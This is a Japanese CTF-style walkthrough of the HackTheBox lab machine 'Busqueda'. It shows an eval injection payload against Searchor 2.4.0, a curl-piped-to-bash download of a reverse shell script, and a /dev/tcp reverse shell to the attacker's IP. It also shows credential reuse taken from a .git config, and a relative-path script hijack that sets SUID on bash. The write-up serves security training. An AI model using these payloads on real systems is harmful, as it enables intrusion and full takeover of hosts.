今回は、HackTheBoxのEasyマシン「Busqueda」のWriteUpです！
名前からは特に思い当たるものはありません。。どのようなマシンなのでしょうか。
グラフはかなりEasyよりですね。
正直、Easyなので難なくクリアを目指していきたいところです！攻略目指して頑張ります！
HackTheBoxってなに？という方はこちらの記事を見てみてください！一緒にハッキングしましょう～。
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！
Busqueda
侵入
それではまずはポートスキャンから開始します。
🐧+[~/Busqueda]
Ex9loit👾<10.10.14.7>$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.208 -oN nmap.log
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
80番を確認できたので、Webでアクセスしてみましょう。
検索サイトが表示されました。検索エンジンとキーワードを入力することでなんでも検索することができるようです。
試しに検索してみます。検索エンジンはGoogleで、キーワードはHackTheBoxを入力しました。
URLが出力されました。
キーワードの部分に先ほど入力した文字列が表示されています。制御できることがわかったので、脆弱性が発火しないかいくつか試してみましたが、特に脆弱性がありそうな雰囲気はありませんでした。
気を取り直してWebの列挙を再開します。
一番下に、Searhorのバージョンが書かれています。バージョンは2.4.0のようなので、脆弱性がないかどうかをGoogleで検索してみると、気になる記事を発見しました。
どうやら、RCEが発火する脆弱性が存在するようです。詳細を確認してみると、engineパラメータに対してコマンドを入力することで、入力したコマンドが実行されるようです。
Remote Command Execution
それでは、BrupSuiteでコマンドが実行されるか試してみましょう。
記事内の実行例では、exec関数が使用されていたのですが、Pythonであればeval関数を使用することもできるはずなので、eval関数を使用します。また、今回のサイトではengineパラメータに少しでも変更があるとホームページにリダイレクトされてしまうので、queryパラメータにeval関数を追加していきます。
実際に使用するリクエストは以下の通りです。
engine=Google&query=hackthebox'%2beval(compile("import+os\nos.system('id')+",'<String>','exec'))%2B'
まずはidコマンドが実行できるか試してみます。リクエストを送信してみましょう。
コマンドの実行結果が出力されました！RCEに脆弱であることがわかりました！
シェルを取得することができそうですが、その前にpingも実行できるか試しておきます。
リクエストを送信する前に、待ち受けを作成しておきましょう。
🐧+[~/Busqueda]
Ex9loit👾<10.10.14.7>$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
待ち受けの作成が完了したので、idをping -c 3 10.10.14.7に変更しリクエストを送信します。
レスポンスからうまく実行できていそうなことがわかりますが、一応待ち受けた方でも確認してみましょう。
🐧+[~/Busqueda]
Ex9loit👾<10.10.14.7>$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
15:02:02.209540 IP searcher.htb > 10.10.14.7: ICMP echo request, id 2, seq 1, length 64
15:02:02.209685 IP 10.10.14.7 > searcher.htb: ICMP echo reply, id 2, seq 1, length 64
15:02:03.311024 IP searcher.htb > 10.10.14.7: ICMP echo request, id 2, seq 2, length 64
15:02:03.311106 IP 10.10.14.7 > searcher.htb: ICMP echo reply, id 2, seq 2, length 64
15:02:04.232827 IP searcher.htb > 10.10.14.7: ICMP echo request, id 2, seq 3, length 64
15:02:04.232922 IP 10.10.14.7 > searcher.htb: ICMP echo reply, id 2, seq 3, length 64
通信を確認できました！これで、外向きのコマンド実行も可能であることがわかったので、ほぼ確定でシェルが取得できそうです。
svcとしてのシェル
それでは、シェルを取得していきましょう！
まずは、Kali側で待ち受けを作成しておきます。
🐧+[~/Busqueda]
Ex9loit👾<10.10.14.7>$ nc -lvnp 2121
listening on [any] 2121 ...
待ち受けが完了したので、実際にリクエストを送信します。実行するコマンドは下記のとおりです。
bash -c 'bash -i >& /dev/tcp/10.10.14.7/2121 0>&1'
このコマンドを直接リクエストに入力してもいいのですが、シングルクォートの扱いが少し大変なのでKali側でサーバを立ち上げ、ターゲットからアクセスさせることで実行させようと思います。
まずは、サーバを立ち上げます。
🐧+[~/Busqueda]
Ex9loit👾<10.10.14.7>$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
これで、サーバを立ち上げることができたので、リクエストにコマンドを入力します。
engine=Google&query=hackthebox'%2beval(compile("import+os\nos.system('curl+10.10.14.7/rev.sh+|+bash')+",'<String>','exec'))%2B'
先ほども記述させていただいていますが、立ち上げたサーバからスクリプトにアクセスさせ、最後にパイプで実行させることでシェルの取得を試みています。
リクエストに入力することができたら、送信し、待ち受けを確認してみましょう！
🐧+[~/Busqueda]
Ex9loit👾<10.10.14.7>$ nc -lvnp 2121
listening on [any] 2121 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.208] 46524
bash: cannot set terminal process group (1647): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$ whoami
svc
侵入に成功しました！
svc@busqueda:~$ ls -l
total 4
-rw-r----- 1 root svc 33 Aug 12 04:39 user.txt
ユーザフラグも取得することができました！
権限昇格
それでは、権限昇格のフェーズに移りましょう！
まずは、sudo -lを実行してみます。
svc@busqueda:~$ sudo -l
[sudo] password for svc:
パスワードを求められたため、sudoを実行することは不可能なようです。
では、次はホームディレクトリ内を探索していきます。一覧で見てみましょう。
svc@busqueda:~$ ls -la
total 36
drwxr-x--- 4 svc svc 4096 Apr 3 08:58 .
drwxr-xr-x 3 root root 4096 Dec 22 2022 ..
lrwxrwxrwx 1 root root 9 Feb 20 12:08 .bash_history -> /dev/null
-rw-r--r-- 1 svc svc 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 svc svc 3771 Jan 6 2022 .bashrc
drwx------ 2 svc svc 4096 Feb 28 11:37 .cache
-rw-rw-r-- 1 svc svc 76 Apr 3 08:58 .gitconfig
drwxrwxr-x 5 svc svc 4096 Jun 15 2022 .local
lrwxrwxrwx 1 root root 9 Apr 3 08:58 .mysql_history -> /dev/null
-rw-r--r-- 1 svc svc 807 Jan 6 2022 .profile
lrwxrwxrwx 1 root root 9 Feb 20 14:08 .searchor-history.json -> /dev/null
-rw-r----- 1 root svc 33 Aug 12 04:39 user.txt
いつものファイルが多く存在していますが、１つ気になるファイルがあります。.gitconfigファイルです。実はサブドメインを列挙する段階で、giteaというサブドメインを確認していました。
🐧+[~/Busqueda]
Ex9loit👾<10.10.14.7>$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -H "HOST: FUZZ.searcher.htb" -u http://10.10.11.208 -fc 302
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/'
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.208
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
:: Header : Host: FUZZ.searcher.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response status: 302
________________________________________________
そのため、今回はgitが使用されていたことがわかっていました。認証情報を取得できるかもしれないので、内容を確認してみましょう。
svc@busqueda:~$ cat .gitconfig
[user]
email = cody@searcher.htb
name = cody
[core]
hooksPath = no-hooks
流石にパスワードは書かれていなかったです。しかし、svcユーザのホームディレクトリにこのファイルが存在しているということは、権限昇格にはgitを使用する可能性が高いことがわかりました。ターゲットマシン内にgitの情報がないか列挙していきましょう。
私は、Webにgiteaがあったことから、/var/www/app内に情報があるのではないかと考えました。どのようなファイル、ディレクトリがあるか確認してみます。
svc@busqueda:/var/www/app$ ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr 3 14:32 .
drwxr-xr-x 4 root root 4096 Apr 4 16:02 ..
-rw-r--r-- 1 www-data www-data 1124 Dec 1 2022 app.py
drwxr-xr-x 8 www-data www-data 4096 Aug 12 04:39 .git
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 templates
やはり、.gitディレクトリが存在していました。ディレクトリ内をさらに深くみていきます。
svc@busqueda:/var/www/app/.git$ ls -la
total 52
drwxr-xr-x 8 www-data www-data 4096 Aug 12 04:39 .
drwxr-xr-x 4 www-data www-data 4096 Apr 3 14:32 ..
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 branches
-rw-r--r-- 1 www-data www-data 15 Dec 1 2022 COMMIT_EDITMSG
-rw-r--r-- 1 www-data www-data 294 Dec 1 2022 config
-rw-r--r-- 1 www-data www-data 73 Dec 1 2022 description
-rw-r--r-- 1 www-data www-data 21 Dec 1 2022 HEAD
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 hooks
-rw-r--r-- 1 root root 259 Apr 3 15:09 index
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 info
drwxr-xr-x 3 www-data www-data 4096 Dec 1 2022 logs
drwxr-xr-x 9 www-data www-data 4096 Dec 1 2022 objects
drwxr-xr-x 5 www-data www-data 4096 Dec 1 2022 refs
典型的なgitの構成が確認できます。基本的にconfigのようなキーワードがついたファイルは攻撃者からすると一番確認したくなるファイルです。こちらも内容を見てみましょう。
svc@busqueda:/var/www/app/.git$ cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
ユーザ名とパスワードを発見しました！パスワードも特にハッシュ化などはされていなさそうです。
パスワードを発見したのはいいのですが、再度Web上でgiteaにアクセスしても、GUI上で.gitディレクトリの構成を確認できるだけで、得られる情報は同じです。
では、他に使い道がないかと考えた時にパスワードの使い回しの可能性が浮かびました。ターゲット上にはcodyというユーザは存在していません。しかし、パスワードが使い回しされている場合、codyのパスワードをsvcでも使える可能性があります。sudo -l実行時に、パスワードが求められるので、試してみましょう。
svc@busqueda:/var/www/app/.git$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
パスワードを使用することができました！出力を見てみると、system-checkup.pyをrootユーザの権限で実行することができるようです。
system-checkup.py
では、そのスクリプトの権限を確認してみましょう。
svc@busqueda:/opt/scripts$ ls -l system-checkup.py
-rwx--x--x 1 root root 1903 Dec 24 2022 system-checkup.py
実行権限はありますが、読み込み権限がありません。
実行することでしか、どのようなスクリプトなのか理解できないので、試しに実行してみましょう。
svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
どうやら、actionを設定する必要があるようです。3種類存在しているようなので、1つずつ試してみましょう。まず始めにdocker-psを指定します。
svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 7 months ago Up 12 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 7 months ago Up 12 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
普段Dockerを使用している際に、実行するdocker psと同じような出力がみられました。次は、docker-inspectです。
svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>
この実行には、formatとcontainer_nameを指定する必要があるみたいです。詳細な値が曖昧なので、深くみていくのは後にして、最後のfull-checkupを実行してみます。
svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[=] Docker conteainers
{
"/gitea": "running"
}
{
"/mysql_db": "running"
}
[=] Docker port mappings
{
"22/tcp": [
{
"HostIp": "127.0.0.1",
"HostPort": "222"
}
],
"3000/tcp": [
{
"HostIp": "127.0.0.1",
"HostPort": "3000"
}
]
}
[=] Apache webhosts
[+] searcher.htb is up
[+] gitea.searcher.htb is up
[=] PM2 processes
┌─────┬────────┬─────────────┬─────────┬─────────┬──────────┬────────┬──────┬───────────┬──────────┬──────────┬──────────┬──────────┐
│ id │ name │ namespace │ version │ mode │ pid │ uptime │ ↺ │ status │ cpu │ mem │ user │ watching │
├─────┼────────┼─────────────┼─────────┼─────────┼──────────┼────────┼──────┼───────────┼──────────┼──────────┼──────────┼──────────┤
│ 0 │ app │ default │ N/A │ fork │ 1647 │ 12h │ 0 │ online │ 0% │ 30.1mb │ svc │ disabled │
└─────┴────────┴─────────────┴─────────┴─────────┴──────────┴────────┴──────┴───────────┴──────────┴──────────┴──────────┴──────────┘
[+] Done!
おそらく各コンテナのステータスをチェックしているようです。パッと見た感じ、特に怪しいコマンドの動きは見られません。現状では権限昇格に繋がる情報がないので、さらなる列挙が必要です。
他に、system-checkupの情報を得ることができないかと/opt/scriptsディレクトリ内を列挙していると、full-checkupのスクリプトファイルを確認しました。
svc@busqueda:/opt/scripts$ ls -l
total 16
-rwx--x--x 1 root root 586 Dec 24 2022 check-ports.py
-rwx--x--x 1 root root 857 Dec 24 2022 full-checkup.sh
-rwx--x--x 1 root root 3346 Dec 24 2022 install-flask.sh
-rwx--x--x 1 root root 1903 Dec 24 2022 system-checkup.py
このことから、もしかするとfull-checkupは、full-checkup.shというファイルを実行するという動作を行うかもしれないと推測できます。
そして、さらに予想ですが、system-checkup.pyとfull-checkup.shが同一のディレクトリ内に存在しているため、実行時のカレントディレクトリに存在するfull-checkup.shを参照しているのではないかと推測できます。
この推測が正しいか確かめるために、ディレクトリを移動し、full-checkupを実行してみましょう。
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong
エラーが発生しました！ここまでは推測が正しいことがわかりました。
それでは、実行時のカレントディレクトリ内に、full-checkup.shを作成してみたいと思います。ファイルの内容は下記のとおりです。
svc@busqueda:~$ cat full-checkup.sh
#!/bin/bash
chmod u+s /bin/bash
いつものようにbashに対してSUIDを付与したいと思います。
一応実行権限を付与しておきます。
svc@busqueda:~$ chmod +x full-checkup.sh
これで準備が整いました。推測が正しければ実行後にbashにSUIDが付与されるはずです！
rootとしてのシェル
それでは、実行してみましょう！
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[+] Done!
実行に成功していそうです！bashの権限を確認してみましょう。
svc@busqueda:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Jan 6 2022 /bin/bash
SUIDが付与されています！rootになる時が来ました！
svc@busqueda:~$ bash -p
bash-5.1# whoami
root
権限昇格成功です！
bash-5.1# ls -l /root
total 16
-rw-r----- 1 root root 430 Apr 3 15:13 ecosystem.config.js
-rw-r----- 1 root root 33 Aug 12 04:39 root.txt
drwxr-xr-x 4 root root 4096 Apr 3 16:01 scripts
drwx------ 3 root root 4096 Mar 1 10:46 snap
フラグも取得し、完全攻略達成です！お疲れ様でした！
攻略を終えて
今回のマシンは比較的簡単だったかなと思います。ただ、権限昇格に関しては少し勘のようなものが必要になるので、HackTheBoxに慣れているかどうかも重要だった気がします。pspyなどを使用し、丁寧にスクリプトの動作を確認していくことで、カレントディレクトリ内のスクリプトを実行しているということが勘でなくてもわかると思いますが、どちらにせよHackTheBox慣れが必要そうです。仕組みさえわかってしまえば、スクリプトを作成するだけなので簡単ですが笑
今回は、バージョン不備によりRCEが発火してしまいました。既存の脆弱性による攻撃はIPAの10大脅威でも取り上げられており、対策が不可欠です。仕様の変更や依存関係による不具合など運用上バージョンを上げることができないといった声も多数存在します。そういう場合こそ、バージョン管理やリスク評価を適切に行い、既存の脆弱性による攻撃を防いでいきましょう。
今後もHackTheBoxのWriteUpを公開していきますので、みていただけると嬉しいです！
最後まで閲覧していただきありがとうございました！